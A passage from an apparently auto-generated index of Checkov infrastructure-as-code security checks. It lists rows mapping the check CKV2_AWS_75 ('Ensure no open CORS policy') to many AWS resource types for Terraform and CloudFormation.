[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4183 | CKV2_AWS_75              | resource                         | aws_load_balancer_listener_policy                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4184 | CKV2_AWS_75              | resource                         | aws_load_balancer_listener_policy                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4185 | CKV2_AWS_75              | resource                         | aws_load_balancer_policy                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4186 | CKV2_AWS_75              | resource                         | aws_load_balancer_policy                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4187 | CKV2_AWS_75              | resource                         | aws_location_geofence_collection                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4188 | CKV2_AWS_75              | resource                         | aws_location_geofence_collection                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4189 | CKV2_AWS_75              | resource                         | aws_location_map                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4190 | CKV2_AWS_75              | resource                         | aws_location_map                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4191 | CKV2_AWS_75              | resource                         | aws_location_place_index                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4192 | CKV2_AWS_75              | resource                         | aws_location_place_index                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4193 | CKV2_AWS_75              | resource                         | aws_location_route_calculator                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4194 | CKV2_AWS_75              | resource                         | aws_location_route_calculator                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4195 | CKV2_AWS_75              | resource                         | aws_location_tracker                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4196 | CKV2_AWS_75              | resource                         | aws_location_tracker                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4197 | CKV2_AWS_75              | resource                         | aws_location_tracker_association                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4198 | CKV2_AWS_75              | resource                         | aws_location_tracker_association                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4199 | CKV2_AWS_75              | resource                         | aws_m2_application                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4200 | CKV2_AWS_75              | resource                         | aws_m2_application                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4201 | CKV2_AWS_75              | resource                         | aws_m2_deployment                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4202 | CKV2_AWS_75              | resource                         | aws_m2_deployment                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4203 | CKV2_AWS_75              | resource                         | aws_m2_environment                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4204 | CKV2_AWS_75              | resource                         | aws_m2_environment                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4205 | CKV2_AWS_75              | resource                         | aws_macie2_account                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4206 | CKV2_AWS_75              | resource                         | aws_macie2_account                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4207 | CKV2_AWS_75              | resource                         | aws_macie2_classification_export_configuration                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4208 | CKV2_AWS_75              | resource                         | aws_macie2_classification_export_configuration                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4209 | CKV2_AWS_75              | resource                         | aws_macie2_classification_job                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4210 | CKV2_AWS_75              | resource                         | aws_macie2_classification_job                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4211 | CKV2_AWS_75              | resource                         | aws_macie2_custom_data_identifier                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4212 | CKV2_AWS_75              | resource                         | aws_macie2_custom_data_identifier                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4213 | CKV2_AWS_75              | resource                         | aws_macie2_findings_filter                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4214 | CKV2_AWS_75              | resource                         | aws_macie2_findings_filter                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4215 | CKV2_AWS_75              | resource                         | aws_macie2_invitation_accepter                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4216 | CKV2_AWS_75              | resource                         | aws_macie2_invitation_accepter                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4217 | CKV2_AWS_75              | resource                         | aws_macie2_member                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4218 | CKV2_AWS_75              | resource                         | aws_macie2_member                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4219 | CKV2_AWS_75              | resource                         | aws_macie2_organization_admin_account                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4220 | CKV2_AWS_75              | resource                         | aws_macie2_organization_admin_account                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4221 | CKV2_AWS_75              | resource                         | aws_macie_member_account_association                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4222 | CKV2_AWS_75              | resource                         | aws_macie_member_account_association                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4223 | CKV2_AWS_75              | resource                         | aws_macie_s3_bucket_association                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4224 | CKV2_AWS_75              | resource                         | aws_macie_s3_bucket_association                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4225 | CKV2_AWS_75              | resource                         | aws_main_route_table_association                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4226 | CKV2_AWS_75              | resource                         | aws_main_route_table_association                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4227 | CKV2_AWS_75              | resource                         | aws_media_convert_queue                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4228 | CKV2_AWS_75              | resource                         | aws_media_convert_queue                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4229 | CKV2_AWS_75              | resource                         | aws_media_package_channel                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4230 | CKV2_AWS_75              | resource                         | aws_media_package_channel                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4231 | CKV2_AWS_75              | resource                         | aws_media_packagev2_channel_group                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4232 | CKV2_AWS_75              | resource                         | aws_media_packagev2_channel_group                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4233 | CKV2_AWS_75              | resource                         | aws_media_store_container                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4234 | CKV2_AWS_75              | resource                         | aws_media_store_container                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4235 | CKV2_AWS_75              | resource                         | aws_media_store_container_policy                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4236 | CKV2_AWS_75              | resource                         | aws_media_store_container_policy                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4237 | CKV2_AWS_75              | resource                         | aws_medialive_channel                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4238 | CKV2_AWS_75              | resource                         | aws_medialive_channel                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4239 | CKV2_AWS_75              | resource                         | aws_medialive_input                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4240 | CKV2_AWS_75              | resource                         | aws_medialive_input                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4241 | CKV2_AWS_75              | resource                         | aws_medialive_input_security_group                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4242 | CKV2_AWS_75              | resource                         | aws_medialive_input_security_group                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4243 | CKV2_AWS_75              | resource                         | aws_medialive_multiplex                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4244 | CKV2_AWS_75              | resource                         | aws_medialive_multiplex                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4245 | CKV2_AWS_75              | resource                         | aws_medialive_multiplex_program                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4246 | CKV2_AWS_75              | resource                         | aws_medialive_multiplex_program                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4247 | CKV2_AWS_75              | resource                         | aws_memorydb_acl                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4248 | CKV2_AWS_75              | resource                         | aws_memorydb_acl                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4249 | CKV2_AWS_75              | resource                         | aws_memorydb_cluster                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4250 | CKV2_AWS_75              | resource                         | aws_memorydb_cluster                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4251 | CKV2_AWS_75              | resource                         | aws_memorydb_multi_region_cluster                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4252 | CKV2_AWS_75              | resource                         | aws_memorydb_multi_region_cluster                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4253 | CKV2_AWS_75              | resource                         | aws_memorydb_parameter_group                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4254 | CKV2_AWS_75              | resource                         | aws_memorydb_parameter_group                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4255 | CKV2_AWS_75              | resource                         | aws_memorydb_snapshot                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4256 | CKV2_AWS_75              | resource                         | aws_memorydb_snapshot                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4257 | CKV2_AWS_75              | resource                         | aws_memorydb_subnet_group                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4258 | CKV2_AWS_75              | resource                         | aws_memorydb_subnet_group                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4259 | CKV2_AWS_75              | resource                         | aws_memorydb_user                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4260 | CKV2_AWS_75              | resource                         | aws_memorydb_user                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4261 | CKV2_AWS_75              | resource                         | aws_mq_broker                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4262 | CKV2_AWS_75              | resource                         | aws_mq_broker                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4263 | CKV2_AWS_75              | resource                         | aws_mq_configuration                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4264 | CKV2_AWS_75              | resource                         | aws_mq_configuration                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4265 | CKV2_AWS_75              | resource                         | aws_msk_cluster                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4266 | CKV2_AWS_75              | resource                         | aws_msk_cluster                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4267 | CKV2_AWS_75              | resource                         | aws_msk_cluster_policy                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4268 | CKV2_AWS_75              | resource                         | aws_msk_cluster_policy                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4269 | CKV2_AWS_75              | resource                         | aws_msk_configuration                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4270 | CKV2_AWS_75              | resource                         | aws_msk_configuration                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4271 | CKV2_AWS_75              | resource                         | aws_msk_replicator                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4272 | CKV2_AWS_75              | resource                         | aws_msk_replicator                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4273 | CKV2_AWS_75              | resource                         | aws_msk_scram_secret_association                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4274 | CKV2_AWS_75              | resource                         | aws_msk_scram_secret_association                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4275 | CKV2_AWS_75              | resource                         | aws_msk_serverless_cluster                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4276 | CKV2_AWS_75              | resource                         | aws_msk_serverless_cluster                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | 